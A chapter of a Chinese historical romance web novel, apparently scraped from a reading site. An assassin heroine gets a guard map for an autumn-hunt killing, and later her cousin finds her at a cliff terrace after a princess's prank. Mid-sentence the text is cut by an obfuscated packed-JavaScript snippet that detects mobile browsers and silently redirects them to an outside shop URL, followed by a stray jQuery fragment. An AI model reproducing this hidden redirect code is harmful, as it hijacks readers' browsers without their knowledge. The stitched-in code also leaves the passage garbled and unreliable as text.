“秋猎行宫的布防,查探清楚了么。”虞筝问。她忽略他那些疯狗咬人的废话。
霁霄没有动。他靠在墙上,目光从她脸上慢慢扫过,从略微苍白的嘴唇到微微泛青的眼下。
然后他移开视线:“难为你没有忘了你的正事。”
虞筝觑他一眼,懒得理会他,将桌上倒的那一盏茶自己端起来喝。
“药上次我不是给你了么,怎么还会发作。”霁霄问。
虞筝漫不经心,轻飘飘一句:“上山之前,拿错药瓶了。”
“……一个有药一个没药,你也能拿错?”霁霄冷笑一声,“这话骗骗我也就罢了,别以后把你自己也骗了。”
“你废话怎么这么多?”虞筝不耐烦了,“要是秋猎布防还没查探清楚,那就滚下山去,别在这里烦我。”
霁霄并不恼,同样语调讥诮:“你该感激我做事够快,不然晚来两日,你现在已经是一具尸体了。”
他说罢,从怀里摸出一张卷得极细极薄的画纸,丢给她。
虞筝展开看,正是秋猎的行宫布防。她一面看,一面已经飞快在心中将画纸上重要的几处地方记了下来。随后她掏出火折子,将那卷霁霄辛苦查探来的布防图转眼烧了个干净,最后只剩余烬。
霁霄没有多看一眼,毫不在乎。
他只道:“孙知庸已经入了秋猎名单。他骑射不精,每年秋猎都只在外围转一圈便出来,身边通常只带两个护卫。不过今年不同——钱世昭死后,他把马守财和刘大彪的‘意外身亡’也结合起来,心中已生疑虑,恐怕会多带不少护卫随行。但按照猎场规矩,正式围猎之时,以他的官职,随猎护卫最多也不会超过四个。围猎之时,林深地广,情势复杂,那时候动手是你最好的时机。”
虞筝心里已有衡量,又问:“他身边的护卫,查过没有。”
“没有高手。不过可能麻烦的是孙知庸自己——他现在随身带着一把短弩,威力不小,连睡觉都放在枕边。你要当心。”
“短弩。”虞筝冷笑了一声,“一个文官,被逼到枕下藏弩的地步,看来确实畏惧到了极点。”
霁霄:“他只会在外围,不会深入。猎场东南角有片野林子,没什么猎物,历年去的人都少,若能将他引到此处再动手,你行事会更加方便。”
虞筝思索着,没有什么反应。
最后她只笑道:“猎场的林地密不透风,马匹受惊、流箭误伤,此类意外年年都有——一个人的恐惧,往往是递给暗处最好的刀。”
虞筝一盏茶喝完,霁霄要走。
虞筝突然叫住他:“师兄。”
霁霄停下,挑眉看她,脸上的神情冷而讥诮:“师妹又有什么吩咐。”
“……没有。”她罕见耐心地回答,只是又问,“师兄救我的药,是从哪里来的?”
霁霄没料到她会问。换做以前,她不会对别人的死活有任何多余的关心,包括他。她只关心她自己。
她好像是变了。而这样的变化,霁霄不知道是好还是坏。
他凌眉一敛,很快道:“自是我的药。等你回城之后,我自会找你还药。”
虞筝点头,又偏头一笑:“原来要还的,那这句多谢,我就不说了。”
“呵。”霁霄嗤笑一声,掠身出去,一眨眼便不见了踪影。
*
荣国公府离山前一日,齐王特意摆了席宴送行。
与荣国公府同日下山的人不少,也都在席宴上一并相送。
因着第二日一早要启程离开西苑,前一日不好饮酒。德亲王很是不满,但也并不为难众人,只苦了齐王,被这位德皇叔硬拉着喝了好些酒。
宴席结束才刚刚午后,德亲王就醉得不省人事,齐王也有些头昏脑涨,回松涛院歇息了。
其余要离山的人也渐都散了,各自收拾东西。
这一收拾就差不多到了傍晚。
崔昀正要去临溪阁看看虞筝和崔瑶的行囊收拾得如何,却在廊下遇上了嘉敏郡主。
崔昀行过礼便要走,嘉敏郡主却一脸神秘地凑近他:“崔世子,我跟你说件事——”
崔昀略退了退:“郡主请讲。”
“……”嘉敏郡主又凑近,“崔世子听了可别着急——就是我齐王哥哥……他好像对虞家小姐有意思。”
“……”崔昀眼皮一掀,只觉得这位郡主虽非青.天.白.日,却在这里胡乱白话。
见他不信,嘉敏郡主急道:“是真的!今日我听见齐王哥哥吩咐底下的人,约了虞小姐在望月台单独相见呢!”
崔昀的神色极短地滞了一下。
事关虞筝,他到底有些迟疑:“殿下亲口说的?”
“那还能有假?”嘉敏郡主道,“我亲耳听见的!我骗崔世子做什么!”
“……”崔昀一默,拱了拱手,提步离去。
嘉敏郡主:“……”
不是……崔世子怎么不往望月台去?还往回走了?
一刻钟后,齐王房外。
齐王已经醒了酒,崔昀开门见山地问:“殿下今晚可有约人?”
“……约人?约什么人?”齐王一脸茫然。
崔昀便明白了。
同齐王告了罪,转身离开。
一出来,便又遇到嘉敏郡主。这位郡主鬼鬼祟祟,似乎是一路跟随他而来。
见崔昀望向她,她立时满脸心虚,朝左往右,一时慌乱得连站在哪里都不知道了。
崔昀脸色有些沉,迎面过去:“嘉敏郡主。”
“崔世子……”谎话被齐王哥哥揭穿,嘉敏郡主脸上有些挂不住。
崔昀冷道:“郡主起了玩心,捉弄于我,我不与郡主计较。只是郡主所言,事关表妹清誉,还请郡主日后与人玩笑能有个限度,不要再拿女子清清白白的声誉随意取乐。”
“……”
崔昀说罢,拂身就走。显然他已生恼意,连嘉敏的郡主身份也不再顾忌,言辞举止间颇为冷厉。
但嘉敏郡主并不生气,只是懊悔又着急地追上他,急忙道:“崔世子!我、我是骗了你,齐王哥哥根本没有约见虞小姐,可是虞小姐恐怕真的去了望月台!”
崔昀脚步一顿。
嘉敏郡主忙道:“这回真没骗你!是我骗虞小姐,说齐王哥哥在望月台约见她,请她单独过去。她、她定不敢拒绝哥哥,恐怕真的会去的!”
崔昀猛地停了步子。瞥一眼渐暗的天色,他沉冷的脸色微微破裂。
他盯住嘉敏郡主,见她这回脸上的急色不似作伪,立即问:“约定的时辰是几时。”
“戌、戌时三刻……”嘉敏郡主的声音低下去。
这回她终于意识到自己闯了祸。戌时三刻,现在已经过了戌时,虞小姐定然已经去望月台了。齐王哥哥在松涛院,那偏远的望月台上,就只有虞小姐一个人。
崔昀没有再多说一句,转身便往西苑断崖走。
……
从山庄住处到西苑望月台,要爬一段不短的山道,石阶陡峭、夜露湿滑。
崔昀走得极快,侍剑提灯跟在后头,竟跟得气喘吁吁。
山风从崖口灌下来,一路吹得两人衣袍猎猎。
望月台建在断崖之上,正对瀑布。前几日大雨,此刻飞瀑水声如雷。
崔昀登上最后一级石阶时,看见了虞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729334|207164||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
筝。
她独自站在望月台的石栏旁,面朝飞瀑四溅,月色如绸,覆落她一身。
她的裙摆被山风吹得晃动,她没有听见他的脚步声。
她就那样乖顺地等在那里。
崔昀不知,他此刻是恼怒她这过分的温顺,还是更为怜惜。
崔昀将侍剑留在原地,一边走,一边朝飞瀑前纤细孱弱的身影出声。
“筝筝。”
他头一次,唤她的名字。唤出来的时候,崔昀自己也分辨不清,只觉得好像有什么东西,悄无声息地随着这两个字一起,不痛不痒却又顽固地烙在了他的心底。
虞筝回过头来。
月光将她的脸颊笼在一层极淡的柔光里。
看见他,她有些意外,然后便温温软软地笑了。
“表哥……你怎么来了?”
她轻细的嗓音被水声盖过去了大半,却还是稳稳地传到了崔昀耳朵里。
“齐王没有约见你。是嘉敏郡主骗你。”崔昀道。他已经到她近前,说话的声音每一句都清晰。
但虞筝还是有些怔愣。
直到崔昀脱下自己的披风,裹在她身上。他替她系上披风,系完之后并没有松手。
虞筝低头,看了看她肩上他的手。
“冷不冷?”
她听见他问。
虞筝摇摇头:“表哥方才说……嘉敏郡主骗了我?”
崔昀点了点头:“齐王没有要见你。”
虞筝眨眨眼:“可是嘉敏郡主为何要骗我?”
“……”崔昀原本没有想,但此刻看到她,他心里也明白了。
只怕是他自以为克制得极好,可齐王和嘉敏郡主,这一对兄妹竟都看了出来。
齐王提醒他不要逾越了分寸,嘉敏郡主却乐见其成,试图做局撮合他。
崔昀没有说实话,只说:“郡主性子贪玩,捉弄你我罢了。”
虞筝望着他,眸子里映着月色,浅浅地发亮,看起来纯然无暇。
仿佛没有怀疑他的话,她松了口气:“原本我就疑心,齐王殿下若有正事,也不会约我在这种地方。但毕竟是郡主说的,料想郡主应当不会骗我,谁知……”
“既有疑心,就算不敢不来,怎么事先也不知道同我说。若告诉我,我只需要问齐王一声,便知嘉敏郡主在说谎,你也不会独自爬到这里来受凉。”
“现在不冷了。”虞筝笑笑,摸了摸身上他的披风。
崔昀眸色稍软,又忍不住问:“若今日来的真是齐王,你该如何。”
虞筝没有答,微微偏了偏头看他:“什么如何?殿下说完正事,自然就回去了。”
“若不是正事呢?”
虞筝一脸茫然。
崔昀:“嘉敏郡主原本骗我说,齐王对你有意,单独在望月台约见你。”
“什、什么?”
“她胡说的。”
虞筝抿唇不语,看了他半晌,轻轻笑起来。
她抬手,忽地伸过去摸了摸崔昀心口:“表哥这里跳得好快。”
“……”崔昀终于收回握住她肩膀的手,抬手将她摸他胸口的手捉下去,“又胡闹。”
“哪里胡闹,表哥的心真的跳得好快。”
“……你独自在山上,我自然紧赶上山。山路陡峭,难免气喘。”
“是嘛?”她轻轻笑,眼尾轻弯,“表哥上山之前,是不是去问过齐王殿下求证了?”
“……”他没答。但显然被她说中了。
她眼尾弯得更厉害,似月牙一般:“表哥,表哥是怕我当真误会齐王殿下有意于我——还是怕齐王殿下当真有意于我?”